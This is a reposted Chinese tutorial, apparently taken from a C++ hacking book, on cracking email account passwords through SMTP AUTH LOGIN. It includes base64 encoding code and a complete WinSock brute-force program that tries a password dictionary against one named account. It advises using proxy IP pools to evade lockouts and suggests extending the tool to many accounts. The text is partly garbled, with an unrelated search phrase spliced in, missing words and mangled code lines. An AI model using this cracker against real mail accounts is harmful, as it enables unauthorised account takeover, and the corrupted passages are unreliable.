郵箱賬號格式怎么寫 網(wǎng)絡(luò)安全編程:郵箱破解
收發(fā)電子郵件經(jīng)常使用的協(xié)議有SMTP協(xié)議和POP3協(xié)議,SMTP協(xié)議主要用于郵件的發(fā)送,而POP3協(xié)議主要用于郵件的接收。本文介紹通過SMTP協(xié)議來完成對電子郵箱的破解。
1.SMTP的手工模擬
SMTP( Mail )即簡單郵件傳輸協(xié)議,它是基于TCP協(xié)議郵件傳輸協(xié)議,它主要用于郵件的發(fā)送,它的TCP端口號是25。這里通過一次簡單的手工模擬來簡單地介紹STMP的登錄過程。
在進(jìn)行模擬之前,需要準(zhǔn)備一臺已經(jīng)注冊過賬號的SMTP服務(wù)器郵箱賬號格式怎么寫,網(wǎng)易、騰訊的郵箱都支持SMTP服務(wù)。這里,隨便使用了一臺SMTP服務(wù)器,模擬過程如圖1所示。
圖1 SMTP登錄過程
在登錄的過程中如果看到235,那么說明登錄成功了。那么,我們來分析一下上面的步驟。
首先,需要使用來登錄smtp服務(wù)器郵箱賬號格式怎么寫,比如 25,也就是連接×××的smtp服務(wù)器地址,指定端口號為25號端口。
接著,輸入HELO smtp.×××.com,該命令標(biāo)識發(fā)件人的身份。
再下來輸入auth 用來告訴服務(wù)器要進(jìn)行身份的驗(yàn)證了,當(dāng)輸入auth 后,服務(wù)器會返回334,334后面的一串字符是經(jīng)過編碼的字符串,將其解密后的內(nèi)容是“:”。
在此處輸入經(jīng)過編碼的“用戶名”即可。當(dāng)輸入用戶名回車后,會接著返回一個(gè)334,334后面的仍然是一串經(jīng)過編碼的字符串,將其解密后的內(nèi)容是“:”。
在后面輸入經(jīng)過編碼的“密碼”即可。此時(shí),如果用戶名和密碼正確的話,那么就會返回235,表示登錄成功。
對于模擬登錄而言,掌握到這一步就已經(jīng)足夠了。
在進(jìn)行測試時(shí),如果手頭沒有進(jìn)行字符串轉(zhuǎn)換的編碼工具的話,可以在搜索引擎中搜索“編碼”,就會有許多的在線編碼工具的。
2.郵箱的破解
有了上面的關(guān)于SMTP協(xié)議登錄的步驟以后,完全可以使用來實(shí)現(xiàn)郵箱密碼的破解。要破解郵箱密碼需要準(zhǔn)備四個(gè)部分,首先是破解程序,然后是字典,還有一個(gè)就是代理IP地址池。破解程序是由我們自己完成的程序,字典是用來測試的各種密碼,代理IP地址池主要是為了避免郵箱地址的服務(wù)器設(shè)置了登錄失敗的次數(shù)郵箱賬號格式怎么寫,在嘗試登錄失敗N次以后可能會鎖定IP地址,有的甚至?xí)i定賬戶,這些屬于服務(wù)器配置上的安全策略。我們的主要任務(wù)是完成破解程序的編寫,至于其他的就不多考慮了。
對于自己寫程序,也需要考慮兩方面,一方面就是用來進(jìn)行與SMTP服務(wù)器的通信,另一方面是如何將用戶名或密碼轉(zhuǎn)換為編碼。
(1)編碼相關(guān)代碼
在郵件的傳輸過程中,為了提高傳輸抗干擾性或出于安全性的考慮,會對郵件進(jìn)行一定的編碼。最常見的編碼方式即為編碼。它的編碼和解碼算法都是很容易的,編碼后的長度是編碼前長度的34%。
它是一種編碼算法,也有人稱為加密,其實(shí)它并不是加密算法,畢竟沒有密鑰,只是把字符的編碼格式進(jìn)行了重新編排。
的編碼規(guī)則是,在編碼時(shí),采用特定的65個(gè)字符,可以用6比特組成用來表示64個(gè)字符,第65個(gè)字符是“=”,它被用來標(biāo)出一個(gè)特別的處理過程。該編碼采用24比特作為一個(gè)輸入組,輸出為4個(gè)編碼字符,這個(gè)24比特是由3個(gè)8比特按從左往右組成的,被分為4組,每組就是6比特,在其中每組均添加2個(gè)0比特,這樣就組成了一個(gè)數(shù)字,這個(gè)數(shù)字處于0到63之間。在字符表中,可以根據(jù)該數(shù)字查到其對應(yīng)的字符。字符表如表1所示。按這種編碼組成的編碼流必須嚴(yán)格按照一定的順序(從左往右的順序),否則就沒有任何意義了(編碼不符合規(guī)范當(dāng)然沒有意義了)。
表1 編碼表
由原字符組合成的總比特?cái)?shù)目不一定能被正好分組,在最后用“=”標(biāo)注。舉例說明吧。
把“UPX”三個(gè)字符轉(zhuǎn)換成編碼,編碼過程如下。
把UPX三個(gè)字符轉(zhuǎn)換成二進(jìn)制為“0:///”,將3個(gè)8位的二進(jìn)制重新組合成4個(gè)6位的二進(jìn)制為“ ”,將4個(gè)6位的二進(jìn)制數(shù)轉(zhuǎn)換成4個(gè)十進(jìn)制數(shù)為“21 21 1 24”,查表值對應(yīng)的字符是“VVBY”。則說明“UPX”進(jìn)行編碼后為“VVBY”。
把“MSVC”四個(gè)字符轉(zhuǎn)換成二進(jìn)制為“0:/// ”,將4個(gè)8位的二進(jìn)制重新組合成6個(gè)6位的二進(jìn)制為“ 11”,將6個(gè)6位的二進(jìn)制按照4個(gè)一組可以分為兩組,分別是“ ”和“ 11”,第一組轉(zhuǎn)換為十進(jìn)制后為“19 21 13 22”,按照編碼表查表為“TVNW”,第二組轉(zhuǎn)換為十進(jìn)制后為“16 3”,按照編碼表查表為“QD”,但是要求4個(gè)一組,這里不足4個(gè),則用“=”補(bǔ)足,那么第二組用編碼后為“QD==”。因此“MSVC”用編碼后為“==”。
編碼和解碼的代碼如下:
static const char *codes =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static const unsigned char map[256] = {
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 253, 255,
255, 253, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 253, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255,
255, 254, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6,
7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,
19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,
255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36,
37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48,
49, 50, 51, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255 };
int?base64_encode(const?unsigned?char?*in,?unsigned?long?len,unsigned?char?*out)
{
unsigned?long?i,?len2,?leven;
unsigned?char?*p;
/*?valid?output?size???*/
len2?=?4?*?((len?+?2)?/?3);
p?=?out;
leven?=?3*(len?/?3);
for?(i?=?0;?i?3)?{
*p++?=?codes[in[0]?>>?2];
*p++?=?codes[((in[0]?&?3)?<4)?+?(in[1]?>>?4)];
*p++?=?codes[((in[1]?&?0xf)?<2)?+?(in[2]?>>?6)];
*p++?=?codes[in[2]?&?0x3f];
in?+=?3;
}
/*?Pad?it?if?necessary...?*/
if (i < len) {
unsigned?a?=?in[0];
unsigned?b?=?(i+1?in[1]?:?0;
unsigned?c?=?0;
*p++?=?codes[a?>>?2];
*p++?=?codes[((a?&?3)?<4)?+?(b?>>?4)];
*p++?=?(i+1?0xf)?<2)?+?(c?>>?6)]?:?'=';
*p++?=?'=';
}
/*?append?a?NULL?byte?*/
*p?=?'\0';
return?p?-?out;
}
int base64_decode(const unsigned char *in, unsigned char *out)
{
unsigned?long?t,?x,?y,?z;
unsigned?char?c;
int?g?=?3;
for?(x?=?y?=?z?=?t?=?0;?in[x]!=0;)?{
c?=?map[in[x++]];
if?(c?==?255)?return?-1;
if?(c?==?253)?continue;
if?(c?==?254)?{?c?=?0;?g--;?}
t = (t<<6)|c;
if (++y == 4) {
// if (z + g > *outlen) { return CRYPT_BUFFER_OVERFLOW; }
out[z++]?=?(unsigned?char)((t>>16)&255);
if?(g?>?1)?out[z++]?=?(unsigned?char)((t>>8)&255);
if?(g?>?2)?out[z++]?=?(unsigned?char)(t&255);
y?=?t?=?0;
}
}
return?z;
}
上面給出了關(guān)于算法編碼與解碼的代碼,在使用時(shí)直接進(jìn)行調(diào)用即可。
(2)破解程序相關(guān)代碼
破解簡單的流程就是讀字典中的密碼、創(chuàng)建、與SMTP服務(wù)器進(jìn)行通信,對返回的結(jié)果進(jìn)行判斷,當(dāng)判斷找到“235”時(shí)則認(rèn)為成功,輸出嘗試的密碼;如果沒有找到“235”則繼續(xù)讀取字典中的密碼重復(fù)前面的步驟。這就是一個(gè)破解某個(gè)指定郵箱賬號的簡單思路。具體代碼如下:
// 模擬一串字典
char *dict[5] = {"12345", "123456", "12345678", "111", "22222"};
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int?nRetCode?=?0;
HMODULE?hModule?=?::GetModuleHandle(NULL);
if?(hModule?!=?NULL)
{
//?初始化?MFC?并在失敗時(shí)顯示錯(cuò)誤
if?(!AfxWinInit(hModule,?NULL,?::GetCommandLine(),?0))
{
//?TODO:?更改錯(cuò)誤代碼以符合您的需要
_tprintf(_T("錯(cuò)誤:?MFC?初始化失敗\n"));
nRetCode?=?1;
}
else
{
//?TODO:?在此處為應(yīng)用程序的行為編寫代碼。
}
}
else
{
//?TODO:?更改錯(cuò)誤代碼以符合您的需要
_tprintf(_T("錯(cuò)誤:?GetModuleHandle?失敗\n"));
nRetCode?=?1;
}
//?初始化?WinSock
WSADATA?wsaData?=?{?0?};
WSAStartup(MAKEWORD(2,?2),?&wsaData);
//?循環(huán)讀取字典
for?(?int?i?=?0;?i?<=?4;?i?++?)
{
char in[30] = { 0 };
char?out[MAXBYTE]?=?{?0?};
SOCKET?s?=?socket(PF_INET,?SOCK_STREAM,?0);
sockaddr_in?saddr?=?{?0?};
saddr.sin_family?=?AF_INET;
//?連接?SMTP?服務(wù)器
saddr.sin_addr.S_un.S_addr?=?inet_addr("xxx.xxx.xxx.xxx");
//?連接?SMTP?服務(wù)的端口號
saddr.sin_port?=?htons(25);
//?發(fā)送/接收通信數(shù)據(jù)的緩沖區(qū)
char?szBuff[MAX_PATH]?=?{?0?};
int?nRet?=?connect(s,?(SOCKADDR*)&saddr,?sizeof(saddr));
recv(s,?szBuff,?MAXBYTE,?0);
printf("%s?\r\n",?szBuff);
lstrcpy(szBuff,?"auth?login\r\n");
send(s,?szBuff,?strlen(szBuff),?0);
printf("%s?\r\n",?szBuff);
recv(s,?szBuff,?MAXBYTE,?0);
printf("%s?\r\n",?szBuff);
//?這里的?xxx?替換為要破解的?SMTP?用戶名
lstrcpy(in,?"xxx");
base64_encode((const?unsigned?char?*)in,?lstrlen(in),?(unsigned?char?*)out);
lstrcpy(szBuff, out);
lstrcat(szBuff,?"\r\n");
send(s,?szBuff,?strlen(szBuff),?0);
printf("%s?\r\n",?szBuff);
recv(s,?szBuff,?MAXBYTE,?0);
printf("%s?\r\n",?szBuff);
lstrcpy(in,?(LPCSTR)(*(dict?+?i)));
base64_encode((const?unsigned?char?*)in,?lstrlen(in),?(unsigned?char?*)out);
lstrcpy(szBuff,?out);
lstrcat(szBuff,?"\r\n");
send(s,?szBuff,?strlen(szBuff),?0);
printf("%s?\r\n",?szBuff);
recv(s,?szBuff,?MAXBYTE,?0);
printf("%s?\r\n",?szBuff);
if?(?strstr(szBuff,?"235")?)
{
printf("Success?\r\n");
printf("%s\r\n",?(char?*)(*(dict?+?i)));
closesocket(s);
break;
}
else
{
printf("Faild?\r\n");
}
closesocket(s);
}
WSACleanup();
return?nRetCode;
}
該代碼是控制臺下的MFC工程,請大家建立相關(guān)工程然后編譯連接源碼后測試效果。該程序是對單一SMTP賬號的破解,運(yùn)行結(jié)果如圖2所示。
圖2 SMTP破解程序運(yùn)行結(jié)果
圖2就是程序運(yùn)行后的結(jié)果,本程序只針對一個(gè)特定的SMTP賬號進(jìn)行破解,大家可以自行修改為能夠破解多個(gè)賬號的程序。
參考文獻(xiàn):C++ 黑客編程揭秘與防范(第3版)
免責(zé)聲明:本文系轉(zhuǎn)載,版權(quán)歸原作者所有;旨在傳遞信息,不代表本站的觀點(diǎn)和立場和對其真實(shí)性負(fù)責(zé)。如需轉(zhuǎn)載,請聯(lián)系原作者。如果來源標(biāo)注有誤或侵犯了您的合法權(quán)益或者其他問題不想在本站發(fā)布,來信即刪。
聲明:本站所有文章資源內(nèi)容,如無特殊說明或標(biāo)注,均為采集網(wǎng)絡(luò)資源。如若本站內(nèi)容侵犯了原著者的合法權(quán)益,可聯(lián)系本站刪除。